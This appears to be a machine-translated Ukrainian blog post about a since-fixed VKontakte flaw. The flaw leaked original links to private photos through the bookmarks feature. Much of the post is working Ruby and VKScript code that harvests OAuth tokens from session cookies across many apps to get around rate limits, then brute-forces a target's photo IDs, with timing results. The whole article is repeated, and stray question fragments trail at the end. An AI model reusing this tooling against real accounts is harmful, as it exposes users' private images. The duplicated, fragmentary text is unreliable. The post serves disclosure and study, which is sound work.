Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення
При додаванні посилання сервер парсит її, намагається з'ясувати, на яку сутність вона посилається і дістає інформацію про цей об'єкт з бази. Як правило, при написанні такого роду функцій з безліччю умов ймовірність того, що розробник щось забуде, дуже висока. Тому я не зміг собі дозволити пройти повз і вирішив витратити кілька хвилин, щоб трохи поекспериментувати.
В результаті мені вдалося дещо знайти. При додаванні посилання на фотографію, замітку або відео, до яких немає доступу, можна було отримати трохи приватної інформації про об'єкт. У випадку з фото і відео - це маленька (150x150) прев'юшки, на якій досить складно що-небудь розгледіти, у приватних нотаток відображалося назва. Через метод API fave.getLinks можна було отримати посилання на зображення, але знову ж таки занадто маленького розміру (75px і 130px). Так що, по суті, нічого серйозного.
Я вирішив зайти на мобільну версію сайту, щоб перевірити, чи відображається там все так же, як і в звичайній версії. Заглянувши в код сторінки, я побачив це:

Так! У значенні атрибута data-src_big зберігалася пряме посилання на оригінал зображення!
Таким чином, можна було отримати пряме посилання на будь-яке зображення у «Вконтакте», незалежно від того, куди воно завантажувалося і які налаштування приватності мало. Це могло бути зображення з особистих повідомлень або ж фотографія з приватних альбомів будь-якого користувача / групи.
Здавалося б, на цьому можна було зупинитися і написати розробникам, але мені стало цікаво, чи можливо, експлуатуючи цю уразливість, отримати доступ до всіх (ну або завантаженим в певний період часу) фотографій користувача. Основною проблемою тут, як ви розумієте, було те, що не завжди відома посилання на приватну фотографію виду photoXXXXXX_XXXXXXX, яку потрібно додати в закладки. В голову прийшла думка про перебір id фотки, але я її чомусь тут же відкинув як божевільну. Я перевірив пов'язані з фотографіями методи в API, подивився, як додаток працює з альбомами, але ніяких витоків, які могли б мені допомогти отримати список з айдішкамі всіх закритих фоток користувача, знайти не вдалося. Я вже хотів було кинути цю затію, але поглянувши ще раз на посилання з фотографією, раптом зрозумів, що перебір таки був хорошою ідеєю.

Як працюють фотографії в ВК


Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число). Як же формується друга частина?
На жаль, але, витративши дві години експерименти, я так цього і не зрозумів. У 2012 році на HighLoad ++ Олег Ілларіонов сказав кілька слів про те, як вони зберігають фотографії, про горизонтальний шардінг і випадковий вибір сервера для завантаження, але ця інформація мені нічого не дала, так як між id сервера і id фотки ніякого зв'язку не видно. Зрозуміло, що є якийсь глобальний лічильник, але там є ще якась логіка ... Тому що якщо друге число формувалося б за допомогою звичайного автоінкремента, то значення айдішок фоток давно б уже досягли величезних значень (у фб, наприклад, на даний момент це ~ 700 трлн.), але у «Вконтакте» це значення лише ~ 400 млн (хоча, судячи зі статистики, щодня користувачі завантажують понад 30 млн фотографій). Тобто ясно, що цифра ця не унікальна, але при цьому і не рандомних. Я написав скриптик, який пройшовся по фотографіям «старих» користувачів і за отриманими даними склав графік того, на скільки змінювалася ця цифра з кожним роком:
Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число)
Видно, що значення скачуть в залежності від якихось чинників (кількості серверів або нової логіки?). Але суть в тому, що вони досить малі (особливо за останні 2-3 роки) і дуже легко вирахувати діапазон id для бажаного періоду часу. Тобто щоб дізнатися прямі посилання на фотки користувача, припустимо, за минулий рік, потрібно спробувати додати в закладки всього лише 30 млн (від _320000000 до _350000000) різних варіацій посилань! Нижче я описав техніку перебору, яка дозволила мені зробити це за лічені хвилини.

перебираємо фотографії


Можна було все це додавати руками через інтерфейс або ж написати скрипт, який додає по одному посиланню в закладки, але це було б нудно і довго. Швидкість перебору в такому випадку склала б 3 закладки в секунду, тому що більше трьох запитів в секунду на сервер «Вконтакте» відправляти не можна .

Прискорюємо перебір x25


Щоб хоч трохи обійти обмеження в 3 запити, я вирішив скористатися методом execute . В одному виклику цього методу можливо 25 звернень до методів API.
var start = parseInt (Args.start); var end = parseInt (Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; };
У такий спосіб вдалося підвищити швидкість брутфорса до 3 * 25 закладок / сек. За минулий рік фотографії перебиралися б довго, але ось для коротких проміжків цей метод перебору вже був досить-таки непоганий.

Прискорюємо перебір x25 * кількість паралельних запитів в секунду


Обмеження на кількість запитів / сек діє на кожен додаток окремо, а не на користувача цілком. Так що нічого не заважає відправляти паралельно багато запитів, але при цьому використовуючи в них токени від різних додатків.
Для початку потрібно було знайти (або створити) потрібну кількість додатків. Був написаний скрипт, який шукає standalone додатки в заданому інтервалі ідентифікаторів додатків:
class StandaloneAppsFinder attr_reader: app_ids def initialize (params) @range = params [: in_range] @app_ids = [] end def search (@range) .each do | app_id | response = open ( "https://api.vk.com/method/apps.get?app_id=#{app_id}") .read app = JSON.parse (response) [ 'response'] app_ids << app_id if standalone ? (app) end end private def standalone? (app_data) app_data [ 'type'] == 'standalone' end end
Можна було ще відбирати додатки за кількістю користувачів, щоб ще більше прискорити подальший перебір:
Якщо додаток встановило менше 10 000 чоловік, то можна здійснювати 5 запитів в секунду, до 100 000 - 8 запитів, до 1 000 000 - 20 запитів, більше 1 млн. - 35 запитів в секунду.
[Обмеження та рекомендації]

Але вирішив з цим не морочитися.
Ок, додатки знайдені, тепер їм потрібно дати дозвіл до даних нашого користувача і отримати токени. Для авторизації довелося використовувати механізм Implicit Flow. Довелося парсити урл авторизації з діалогу OAuth і після редиректу витягувати токен. Для роботи даного класу потрібні куки p, l (login.vk.com) і remixsid (vk.com):
class Authenticator attr_reader: access_tokens def initialize (cookie_header) @cookies = { 'Cookie' => cookie_header} @access_tokens = [] end def authorize_apps (apps) apps.each do | app_id | auth_url = extract_auth_url_from (oauth_page (app_id)) redirect_url = open (auth_url, @cookies) .base_uri.to_s access_tokens << extract_token_from (redirect_url) end end private def extract_auth_url_from (oauth_page_html) Nokogiri :: HTML (oauth_page_html) .css ( 'form' ) .attr ( 'action'). value end def extract_token_from (url) URI (url) .fragment [13..97] end def oauth_page (app_id) open (oauth_page_url (app_id), @cookies) .read end def oauth_page_url ( app_id) "https://oauth.vk.com/authorize?" + "Client_id = # {app_id} &" + "response_type = token &" + "display = mobile &" + "scope = 474367" end end
Скільки додатків знайдено, стільки і паралельних запитів. Для розпаралелювання всієї цієї справи було вирішено використовувати гем Typhoeus , Який відмінно зарекомендував себе в інших завданнях. Вийшов такий ось невеликий брутфорсер:
class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { 'today' => 366300000..366500000, 'yesterday' => 366050000..366300000, 'current_month' => 365000000..366500000, 'last_month' => 360000000..365000000, 'current_year' => 350000000..366500000, 'last_year' => 320000000..350000000} def initialize (params) @victim_id = params [: victim_id] @period = PHOTOS_ID_BY_PERIOD [params [: period]] end def run (tokens) hydra = Typhoeus :: Hydra.new tokensIterator = 0 (@period) .step (25) do | photo_id | url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}" encoded_url = URI.escape (url) .gsub ( '+' , '% 2B'). delete ( "\ n") tokensIterator = tokensIterator == tokens.count - 1? 0: tokensIterator + 1 hydra.queue Typhoeus :: Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript (photo_id) << - VKScript var start = # {photo_id}; var end = # {photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; }; return start; VKScript end end
Щоб ще більше прискорити брутфорс, була спроба позбутися від непотрібного тіла у відповіді, але на HEAD запит сервер «Вконтакте» повертає помилку 501 Not implemented.
Остаточна версія скрипта виглядає так:
require 'nokogiri' require 'open-uri' require 'typhoeus' require 'json' require './standalone_apps_finder' require './photos_bruteforcer' require './authenticator' bruteforcer = PhotosBruteforcer.new (victim_id: ARGV [0], period : ARGV [1]) apps_finder = StandaloneAppsFinder.new (in_range: 4800000..4800500) apps_finder.search # p, l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new ( 'p =; '+' l =; '+' remixsid =; ') authenticator.authorize_apps (apps_finder.app_ids) bruteforcer.run (authenticator.access_tokens)
Після відпрацювання програми в закладках були всі фотографії користувача за заданий період. Залишалося тільки зайти в мобільну версію «Вконтакте», відкрити консоль браузера, витягнути прямі посилання і насолоджуватися фотографіями в їх оригінальному розмірі.

підсумки


В цілому, все залежить від вашого інтернет з'єднання та швидкості проксі серверів, латенсі серверів «Вконтакте», потужності процесора і безлічі інших чинників. Випробувавши скрипт вище на своєму акаунті, отримав такі ось цифри (без урахування часу, витраченого на отримання токенов):
Період Час (хвилини) Вчора 0.84 Минулий тиждень 6.9 Минулий місяць 18.3 Минулий рік 121.1 3 останні роки 312.5
У таблиці показано середній час, необхідний для того, щоб перепробувати id фотографій за певний період. Я впевнений, все це можна було прискорити раз так в 10-20. Наприклад, в скрипті брутфорса зробити одну велику чергу з усіх запитів і нормальну синхронізацію між ними, тому що в моїй реалізації один запит з timeout буде гальмувати весь процес. Та й взагалі, можна було просто купити парочку інстанси на EC2, і за годинку отримати всі фотографії якого завгодно користувача. Але я вже хотів спати.
Та й взагалі, не має значення, скільки часу зловмисник на це витратить 5 годин або ж цілий день, адже так чи інакше посилання на приватні зображення він добуде. Можливість залізно отримати доступ до приватної інформації за кінцевий час - і є головна загроза, яку несе ця вразливість.

Повідомляємо про уразливість


Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно ...» і тижні очікування, мені щось стало сумно. Велике дякую Bo0oM , Який допоміг зв'язатися з розробниками напряму. Після цього баги закрили протягом декількох годин, а через кілька днів на мій рахунок адміністрація перевела винагороду в розмірі 10к голосів .
Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно
Цілеспрямовано дослідженням ВК я ніколи не займався, але після такого, майже випадкового виявлення цієї уразливості серйозно почав замислюватися про те, щоб витратити кілька годин на повноцінний аудит цієї соціальної мережі. У «ВКонтакте» немає офіційної баг баунти програми, тому whitehat ресерчери обходять цей сайт стороною, а інші, менш «білі» хакери, просто тихо користуються помилками в своїх цілях, або продають їх. Так що, думаю, ще парочку подібних вразливостей в ВК можна знайти.
Всім добра!

Уразливість «ВКонтакте» дозволяла отримати прямі посилання на приватні фотографії


tl; dr

Була виявлена ​​уразливість в закладках ВК, яка дозволяла отримувати прямі посилання на приватні фотографії з особистих повідомлень, альбомів будь-якого користувача / групи. Був написаний скрипт, який перебирав фотографії користувача за певний період і потім, через цю уразливість отримував прямі посилання на зображення. Якщо коротко, то: можна було за 1 хвилину отримати всі ваші вчорашні фотографії, за 7 хвилин - все фото, завантажені на минулого тижня, за 20 хвилин - минулий місяць, за 2 години - минулий рік. Уразливість на даний момент виправлена. Адміністрація ВКонтакте виплатила винагороду в 10к голосів.


Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення. Зазвичай, якщо річ важлива, я її завантажую в хмару, але в моєму випадку в цьому не було необхідності, і я вирішив скористатися функцією закладок «Вконтакте».

Коротко про цю функціональність: в закладки додаються всі речі, які користувач лайкнув; також є функція ручного додавання посилання на користувача і внутрішньої посилання «ВКонтакте». Останній пункт мені видався дуже цікавим, так як після додавання посилання на фото я побачив його прев'юшки і текст з типом доданої суті:
Історія почалася з того, як мені в личку у «Вконтакте» кинули зображення
При додаванні посилання сервер парсит її, намагається з'ясувати, на яку сутність вона посилається і дістає інформацію про цей об'єкт з бази. Як правило, при написанні такого роду функцій з безліччю умов ймовірність того, що розробник щось забуде, дуже висока. Тому я не зміг собі дозволити пройти повз і вирішив витратити кілька хвилин, щоб трохи поекспериментувати.
В результаті мені вдалося дещо знайти. При додаванні посилання на фотографію, замітку або відео, до яких немає доступу, можна було отримати трохи приватної інформації про об'єкт. У випадку з фото і відео - це маленька (150x150) прев'юшки, на якій досить складно що-небудь розгледіти, у приватних нотаток відображалося назва. Через метод API fave.getLinks можна було отримати посилання на зображення, але знову ж таки занадто маленького розміру (75px і 130px). Так що, по суті, нічого серйозного.
Я вирішив зайти на мобільну версію сайту, щоб перевірити, чи відображається там все так же, як і в звичайній версії. Заглянувши в код сторінки, я побачив це:

Так! У значенні атрибута data-src_big зберігалася пряме посилання на оригінал зображення!
Таким чином, можна було отримати пряме посилання на будь-яке зображення у «Вконтакте», незалежно від того, куди воно завантажувалося і які налаштування приватності мало. Це могло бути зображення з особистих повідомлень або ж фотографія з приватних альбомів будь-якого користувача / групи.
Здавалося б, на цьому можна було зупинитися і написати розробникам, але мені стало цікаво, чи можливо, експлуатуючи цю уразливість, отримати доступ до всіх (ну або завантаженим в певний період часу) фотографій користувача. Основною проблемою тут, як ви розумієте, було те, що не завжди відома посилання на приватну фотографію виду photoXXXXXX_XXXXXXX, яку потрібно додати в закладки. В голову прийшла думка про перебір id фотки, але я її чомусь тут же відкинув як божевільну. Я перевірив пов'язані з фотографіями методи в API, подивився, як додаток працює з альбомами, але ніяких витоків, які могли б мені допомогти отримати список з айдішкамі всіх закритих фоток користувача, знайти не вдалося. Я вже хотів було кинути цю затію, але поглянувши ще раз на посилання з фотографією, раптом зрозумів, що перебір таки був хорошою ідеєю.

Як працюють фотографії в ВК


Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число). Як же формується друга частина?
На жаль, але, витративши дві години експерименти, я так цього і не зрозумів. У 2012 році на HighLoad ++ Олег Ілларіонов сказав кілька слів про те, як вони зберігають фотографії, про горизонтальний шардінг і випадковий вибір сервера для завантаження, але ця інформація мені нічого не дала, так як між id сервера і id фотки ніякого зв'язку не видно. Зрозуміло, що є якийсь глобальний лічильник, але там є ще якась логіка ... Тому що якщо друге число формувалося б за допомогою звичайного автоінкремента, то значення айдішок фоток давно б уже досягли величезних значень (у фб, наприклад, на даний момент це ~ 700 трлн.), але у «Вконтакте» це значення лише ~ 400 млн (хоча, судячи зі статистики, щодня користувачі завантажують понад 30 млн фотографій). Тобто ясно, що цифра ця не унікальна, але при цьому і не рандомних. Я написав скриптик, який пройшовся по фотографіям «старих» користувачів і за отриманими даними склав графік того, на скільки змінювалася ця цифра з кожним роком:
Як ви могли замінити, посилання на фотографію photo52708106_359542386 складається з двох частин: (id користувача) _ (якесь незрозуміле число)
Видно, що значення скачуть в залежності від якихось чинників (кількості серверів або нової логіки?). Але суть в тому, що вони досить малі (особливо за останні 2-3 роки) і дуже легко вирахувати діапазон id для бажаного періоду часу. Тобто щоб дізнатися прямі посилання на фотки користувача, припустимо, за минулий рік, потрібно спробувати додати в закладки всього лише 30 млн (від _320000000 до _350000000) різних варіацій посилань! Нижче я описав техніку перебору, яка дозволила мені зробити це за лічені хвилини.

перебираємо фотографії


Можна було все це додавати руками через інтерфейс або ж написати скрипт, який додає по одному посиланню в закладки, але це було б нудно і довго. Швидкість перебору в такому випадку склала б 3 закладки в секунду, тому що більше трьох запитів в секунду на сервер «Вконтакте» відправляти не можна .

Прискорюємо перебір x25


Щоб хоч трохи обійти обмеження в 3 запити, я вирішив скористатися методом execute . В одному виклику цього методу можливо 25 звернень до методів API.
var start = parseInt (Args.start); var end = parseInt (Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; };
У такий спосіб вдалося підвищити швидкість брутфорса до 3 * 25 закладок / сек. За минулий рік фотографії перебиралися б довго, але ось для коротких проміжків цей метод перебору вже був досить-таки непоганий.

Прискорюємо перебір x25 * кількість паралельних запитів в секунду


Обмеження на кількість запитів / сек діє на кожен додаток окремо, а не на користувача цілком. Так що нічого не заважає відправляти паралельно багато запитів, але при цьому використовуючи в них токени від різних додатків.
Для початку потрібно було знайти (або створити) потрібну кількість додатків. Був написаний скрипт, який шукає standalone додатки в заданому інтервалі ідентифікаторів додатків:
class StandaloneAppsFinder attr_reader: app_ids def initialize (params) @range = params [: in_range] @app_ids = [] end def search (@range) .each do | app_id | response = open ( "https://api.vk.com/method/apps.get?app_id=#{app_id}") .read app = JSON.parse (response) [ 'response'] app_ids << app_id if standalone ? (app) end end private def standalone? (app_data) app_data [ 'type'] == 'standalone' end end
Можна було ще відбирати додатки за кількістю користувачів, щоб ще більше прискорити подальший перебір:
Якщо додаток встановило менше 10 000 чоловік, то можна здійснювати 5 запитів в секунду, до 100 000 - 8 запитів, до 1 000 000 - 20 запитів, більше 1 млн. - 35 запитів в секунду.
[Обмеження та рекомендації]

Але вирішив з цим не морочитися.
Ок, додатки знайдені, тепер їм потрібно дати дозвіл до даних нашого користувача і отримати токени. Для авторизації довелося використовувати механізм Implicit Flow. Довелося парсити урл авторизації з діалогу OAuth і після редиректу витягувати токен. Для роботи даного класу потрібні куки p, l (login.vk.com) і remixsid (vk.com):
class Authenticator attr_reader: access_tokens def initialize (cookie_header) @cookies = { 'Cookie' => cookie_header} @access_tokens = [] end def authorize_apps (apps) apps.each do | app_id | auth_url = extract_auth_url_from (oauth_page (app_id)) redirect_url = open (auth_url, @cookies) .base_uri.to_s access_tokens << extract_token_from (redirect_url) end end private def extract_auth_url_from (oauth_page_html) Nokogiri :: HTML (oauth_page_html) .css ( 'form' ) .attr ( 'action'). value end def extract_token_from (url) URI (url) .fragment [13..97] end def oauth_page (app_id) open (oauth_page_url (app_id), @cookies) .read end def oauth_page_url ( app_id) "https://oauth.vk.com/authorize?" + "Client_id = # {app_id} &" + "response_type = token &" + "display = mobile &" + "scope = 474367" end end
Скільки додатків знайдено, стільки і паралельних запитів. Для розпаралелювання всієї цієї справи було вирішено використовувати гем Typhoeus , Який відмінно зарекомендував себе в інших завданнях. Вийшов такий ось невеликий брутфорсер:
class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { 'today' => 366300000..366500000, 'yesterday' => 366050000..366300000, 'current_month' => 365000000..366500000, 'last_month' => 360000000..365000000, 'current_year' => 350000000..366500000, 'last_year' => 320000000..350000000} def initialize (params) @victim_id = params [: victim_id] @period = PHOTOS_ID_BY_PERIOD [params [: period]] end def run (tokens) hydra = Typhoeus :: Hydra.new tokensIterator = 0 (@period) .step (25) do | photo_id | url = "https://api.vk.com/method/execute?access_token=#{tokens[tokensIterator]}&code=#{vkscript(photo_id)}" encoded_url = URI.escape (url) .gsub ( '+' , '% 2B'). delete ( "\ n") tokensIterator = tokensIterator == tokens.count - 1? 0: tokensIterator + 1 hydra.queue Typhoeus :: Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript (photo_id) << - VKScript var start = # {photo_id}; var end = # {photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while (start! = end) {API.fave.addLink ({ "link": link + start}); start = start + 1; }; return start; VKScript end end
Щоб ще більше прискорити брутфорс, була спроба позбутися від непотрібного тіла у відповіді, але на HEAD запит сервер «Вконтакте» повертає помилку 501 Not implemented.
Остаточна версія скрипта виглядає так:
require 'nokogiri' require 'open-uri' require 'typhoeus' require 'json' require './standalone_apps_finder' require './photos_bruteforcer' require './authenticator' bruteforcer = PhotosBruteforcer.new (victim_id: ARGV [0], period : ARGV [1]) apps_finder = StandaloneAppsFinder.new (in_range: 4800000..4800500) apps_finder.search # p, l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new ( 'p =; '+' l =; '+' remixsid =; ') authenticator.authorize_apps (apps_finder.app_ids) bruteforcer.run (authenticator.access_tokens)
Після відпрацювання програми в закладках були всі фотографії користувача за заданий період. Залишалося тільки зайти в мобільну версію «Вконтакте», відкрити консоль браузера, витягнути прямі посилання і насолоджуватися фотографіями в їх оригінальному розмірі.

підсумки


В цілому, все залежить від вашого інтернет з'єднання та швидкості проксі серверів, латенсі серверів «Вконтакте», потужності процесора і безлічі інших чинників. Випробувавши скрипт вище на своєму акаунті, отримав такі ось цифри (без урахування часу, витраченого на отримання токенов):
Період Час (хвилини) Вчора 0.84 Минулий тиждень 6.9 Минулий місяць 18.3 Минулий рік 121.1 3 останні роки 312.5
У таблиці показано середній час, необхідний для того, щоб перепробувати id фотографій за певний період. Я впевнений, все це можна було прискорити раз так в 10-20. Наприклад, в скрипті брутфорса зробити одну велику чергу з усіх запитів і нормальну синхронізацію між ними, тому що в моїй реалізації один запит з timeout буде гальмувати весь процес. Та й взагалі, можна було просто купити парочку інстанси на EC2, і за годинку отримати всі фотографії якого завгодно користувача. Але я вже хотів спати.
Та й взагалі, не має значення, скільки часу зловмисник на це витратить 5 годин або ж цілий день, адже так чи інакше посилання на приватні зображення він добуде. Можливість залізно отримати доступ до приватної інформації за кінцевий час - і є головна загроза, яку несе ця вразливість.

Повідомляємо про уразливість


Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно ...» і тижні очікування, мені щось стало сумно. Велике дякую Bo0oM , Який допоміг зв'язатися з розробниками напряму. Після цього баги закрили протягом декількох годин, а через кілька днів на мій рахунок адміністрація перевела винагороду в розмірі 10к голосів .
Спочатку репорт був відправлений службі підтримки, але після відповіді типу «спасибі, як-небудь пофиксил напевно
Цілеспрямовано дослідженням ВК я ніколи не займався, але після такого, майже випадкового виявлення цієї уразливості серйозно почав замислюватися про те, щоб витратити кілька годин на повноцінний аудит цієї соціальної мережі. У «ВКонтакте» немає офіційної баг баунти програми, тому whitehat ресерчери обходять цей сайт стороною, а інші, менш «білі» хакери, просто тихо користуються помилками в своїх цілях, або продають їх. Так що, думаю, ще парочку подібних вразливостей в ВК можна знайти.
Всім добра!

Як же формується друга частина?
Кількості серверів або нової логіки?
Get?
Parse (response) [ 'response'] app_ids << app_id if standalone ?
App) end end private def standalone?
Com/authorize?
Com/method/execute?
Count - 1?
Zero?
Zero?